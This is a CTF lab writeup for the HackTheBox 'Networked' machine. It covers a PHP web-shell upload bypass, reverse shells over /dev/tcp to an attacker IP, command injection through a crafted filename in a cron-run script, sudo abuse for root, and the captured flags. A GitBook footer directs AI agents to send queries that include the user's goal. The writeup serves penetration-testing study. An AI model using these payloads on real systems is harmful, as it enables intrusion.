> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md).

# Networked HackTheBox Writeup

Networked HackTheBox Linux writeup covering web enumeration, upload bypass, command injection, and sudo escalation.

{% embed url="<https://app.hackthebox.com/machines/Networked>" %}

{% hint style="warning" %}
**Skills:**

* Web enumeration and source-code review
* File-upload validation bypass
* Cron job command injection
* Sudo misconfiguration abuse
  {% endhint %}

## Reconnaissance

### Workspace setup

Create a workspace, then verify connectivity to the target.

```bash
mkt

ping -c 1 10.129.5.171
```

The response confirms that the target is a Linux host.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL5o4L1iMKOZ8BWOSIv4X%2Fimage.png?alt=media&amp;token=02a9a145-941c-40f9-baaf-e4d484deea8f" alt=""><figcaption></figcaption></figure>

### TCP scan

Identify exposed TCP services with a full port scan.

```bash
sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts
```

The scan identifies ports `22` and `80`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4UJGX45T2YD0e8psVDgg%2Fimage.png?alt=media&amp;token=24fc0c30-35bc-44b5-8a11-ee4c0a1bc4fb" alt=""><figcaption></figcaption></figure>

### Service and version scan

Identify the services and versions running on the exposed ports.

```bash
nmap -sCV -p22,80 10.129.5.171 -oN targeted
```

The host runs Apache `2.4.6` on CentOS with PHP `5.4.16`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXCDgdDhhtiLxAF4KgwPA%2Fimage.png?alt=media&amp;token=7692d41f-dadb-43c1-9b07-a7680aafc81a" alt=""><figcaption></figcaption></figure>

### Port 80

The website displays the following message:

> Hello mate, we're building the new FaceMash!\
> Help by funding us and be the new Tyler\&Cameron!\
> Join us at the pool party this Sat to get a glimpse

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0yLtkIk6txesBmqQ6yhZ%2Fimage.png?alt=media&amp;token=c963710e-f332-4f9f-8e14-66c6882a750f" alt=""><figcaption></figcaption></figure>

Enumerate directories with Gobuster.

```bash
gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

The scan reveals `/backup` and `/uploads`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FznYeDtjNIVbUGeOYABpl%2Fimage.png?alt=media&amp;token=f112e3c1-bbbc-4dbf-8e94-d1955ae3c281" alt=""><figcaption></figcaption></figure>

The `/backup` directory exposes a TAR archive.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlSo25bKVZsZYVWUxiku6%2Fimage.png?alt=media&amp;token=f5d4e014-d7ec-48f9-b00e-2c57ee8991d2" alt=""><figcaption></figcaption></figure>

Extract the archive locally.

```bash
tar xopf foo.tar
```

The archive contains four PHP files:

* `index.php`
* lib.php
* photos.php
* upload.php

The `upload.php` page provides an upload form.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1vIL422PNpThM37wn0pb%2Fimage.png?alt=media&amp;token=e50d3cba-04e4-48a7-a4a9-a62af488f8d3" alt=""><figcaption></figcaption></figure>

A direct PHP upload fails because the application validates the image format.

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

The application rejects the file as an invalid image.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FtzpKS5T5eRHWwvVmp6FN%2Fimage.png?alt=media&amp;token=202e3e70-c00d-439e-8afe-02eda2db2dfa" alt=""><figcaption></figcaption></figure>

Upload a file with a GIF header and a `.php.gif` extension.

```bash
Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif"
Content-Type: application/x-php

GIF89a
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

The application accepts the upload.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwNPxwupdXaD2NRexG2wu%2Fimage.png?alt=media&amp;token=14c78f57-ca92-495e-8d22-61f4f71c739f" alt=""><figcaption></figcaption></figure>

The uploaded file executes PHP code despite its GIF extension.

```bash
http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCnR6CtmQhfFfl3lU2xBy%2Fimage.png?alt=media&amp;token=05c172cc-17bd-44b5-90c3-0681c7bf0aaf" alt=""><figcaption></figcaption></figure>

Start a listener on port `443`.

```bash
sudo nc -nvlp 443
```

Use the command execution to return a reverse shell.

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcVoVCtWyymdKrx7YmYwC%2Fimage.png?alt=media&amp;token=fe488c1d-2785-4ade-8057-503d541e8780" alt=""><figcaption></figcaption></figure>

### Pivot to `guly`

A scheduled task runs `/home/guly/check_attack.php` every three minutes.

```bash
*/3 * * * * php /home/guly/check_attack.php
```

The script reviews files in `/var/www/html/uploads/`.

```php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
  if ($value == 'index.html') {
    continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
```

The script passes each filename to a shell command without safely handling it. Inject a command through a crafted filename.

Encode a reverse shell payload.

```bash
echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64
```

The encoded payload is:

```
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=
```

Create the malicious filename.

```bash
touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;"
```

Start a listener on port `4444`, then wait for the scheduled task.

```bash
nc -nvlp 4444
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzKfNlqAmd3pwJibgJ8jt%2Fimage.png?alt=media&amp;token=15b85540-e21e-459d-b86c-e9294eea25e0" alt=""><figcaption></figcaption></figure>

The scheduled task returns a shell as `guly`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F04IqMUuq3ooyBn44P3d3%2Fimage.png?alt=media&amp;token=91098574-0cac-4abb-9b64-120fa3ab1757" alt=""><figcaption></figcaption></figure>

### Flag user.txt

```
fbeee367bab941cefca951caef664f27
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNfBLf09GAsb3eGX2noSS%2Fimage.png?alt=media&amp;token=f6aedac1-f708-45e3-b895-abfe0f9abd06" alt=""><figcaption></figcaption></figure>

### Privilege escalation

Check the commands that `guly` can run with `sudo`.

```bash
sudo -l 
```

The user can run `/usr/local/sbin/changename.sh` as `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmoMusce0sdPDjJOme9DZ%2Fimage.png?alt=media&amp;token=8403e5cf-c898-4f0f-8112-58c9c0c7f8dd" alt=""><figcaption></figcaption></figure>

The script writes user-controlled values to a network configuration file.

```bash
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0
```

The input filter permits spaces and slashes. When `ifup` processes the generated configuration, `test /bin/sh` triggers a shell.

Run the script.

```bash
sudo /usr/local/sbin/changename.sh
```

At any prompt, enter:

```
test /bin/sh
```

This opens a shell as `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FOOsz81PTDHASwxFgqP6K%2Fimage.png?alt=media&amp;token=a870548c-b0df-45a9-a53c-12a0eb17a33f" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj8hpcKmC3IcIXmwzinG9%2Fimage.png?alt=media&amp;token=4e26a449-7529-41ab-90f4-83542270f047" alt=""><figcaption></figcaption></figure>

```
6fa61de6fa918d2db507070fec1364e8
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
